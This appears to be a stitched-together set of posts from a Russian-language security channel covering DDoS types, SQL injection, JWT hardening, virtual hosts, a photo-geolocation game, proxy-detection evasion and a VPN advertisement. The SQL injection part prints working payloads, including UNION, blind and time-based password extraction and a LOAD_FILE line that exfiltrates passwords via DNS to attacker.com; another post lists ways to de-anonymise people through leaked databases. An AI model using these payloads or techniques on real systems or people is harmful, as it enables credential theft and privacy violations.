🔴DDoS (Distributed Denial of Service) — распределённая атака, при которой трафик идёт сразу с множества источников: ботнетов, заражённых серверов, IoT-устройств.

🔴Запросы летят с тысяч IP из разных стран, сетей и ASN.
🔴В логах это выглядит как «нормальный» трафик, но в ненормальных объёмах.

🔴Блокировка одного IP не решает ничего.
🔴Нужно фильтровать по поведению, протоколам, типам запросов, а иногда резать целые регионы и подсети.

🔴 volumetric — забивают канал (Gbps/Tbps);
🔴 protocol — ломают стек (SYN, UDP, ICMP);
🔴 application-layer — бьют по HTTP/API, имитируя живых пользователей.

🎯 онлайн-сервисы, банки, игры, маркетплейсы, госресурсы, API без rate-limit.

' UNION SELECT username, password FROM users-- 

' AND (SELECT SUBSTRING(password,1,1) FROM users)='a'-- 

' AND IF((SELECT password) LIKE 'a%', SLEEP(5), 0)-- 

sql
' UNION SELECT LOAD_FILE('\\\\'(SELECT password)'.attacker.com\\test')-- 

🔵СУБД пытается прочитать "файл" по пути \\<украденный_пароль>.attacker.com\test.

🔵Для этого она делает DNS-запрос к домену attacker.com.

🔵В логах DNS-сервера злоумышленник видит полный запрос: <украденный_пароль>.attacker.com.

🔵Данные украдены.

🔵UNION — если виден вывод.

🔵Blind — если есть косвенная реакция.

🔵DNS-атака — когда другие методы бессильны, но можно выполнить произвольный запрос.

🔵Защита — не только фильтрация кавычек, а параметризованные запросы, минимальные права БД и мониторинг DNS.

📌 проверку номера через ботов-агрегаторов;
📌 сопоставление по аватару, username и следам в открытых чатах;
📌 поиск по слитым базам и OSINT-каталогам.

📹Первоисточник

🔵Header (Заголовок): Обычно {"alg": "HS256", "typ": "JWT"}. Указывает алгоритм подписи (HS256, RS256, none) и тип.

🔵Payload (Полезная нагрузка): JSON-объект с утверждениями (claims). Например: {"sub": "user123", "name": "Vasya", "admin": false, "iat": 1516239022}.

🔵Signature (Подпись): Криптографическая подпись, которая гарантирует, что токен не был изменён. Создаётся путём хеширования base64UrlEncode(header) + "." + base64UrlEncode(payload) с использованием секретного ключа (для HS256) или приватного ключа (для RS256).

🔵Никогда не доверяйте alg из токена. Жёстко задавайте алгоритм проверки на сервере.

🔵Всегда проверяйте подпись перед чтением payload.

🔵Используйте сложные, случайные секретные ключи для HS256.

🔵Проверяйте все claims в payload: iss (issuer), aud (audience), exp (expiration time). Не используйте none в продакшене.

🔵Храните приватные ключи в безопасности, публичные ключи — в доверенных источниках.

🔵Валидируйте параметр kid, запрещая пути и URL.

🟢По имени (самый частый) — сервер смотрит на заголовок Host: в запросе и отдаёт нужный сайт.

🟢По IP-адресу — у каждого виртуального хоста свой уникальный IP на одном сервере.

🟢По порту — например, site.com:8080 и site.com:9000 (неудобно для пользователей).

⚫️files.corp — файловое хранилище
⚫️wiki.internal — база знаний
⚫️monitor.local — панель мониторинга

➡️ Ваша задача — найти это место. Город, улицу, точку съемки. Максимально точно.

⚫️Выкладывается фото

⚫️До следующего дня вы ищете место.

⚫️Пишете ответ в комментарии (первый правильный — молодец).

🔵JA3/JA4-отпечатки — TLS-рукопожатие имеет уникальные характеристики, которые можно детектировать
🔵Поведенческий анализ — даже при шифровании, паттерны трафика (размер пакетов, тайминги) могут выдать прокси
🔵Сертификаты — даже если они "поддельные", методы анализа становятся умнее

⚪️Новая транспортная обёртка, маскирующая прокси-трафик под обычный HTTP/3
⚪️Использует QUIC, который сложнее анализировать
⚪️Разработан для противодействия именно поведенческому анализу

🔴Стабильный работа Telegram, Discord и других соц сетей;
🔴Быстрый YouTube в высоком качестве;
🔴ChatGPT, Claude и другие зарубежные AI;
🔴Работа мобильного интернета при локдаунах.

🔴3 дня бесплатно;
🔴До 5 устройств;
🔴Безлимитный трафик;
🔴149 ₽/месяц — и все основные устройства подключены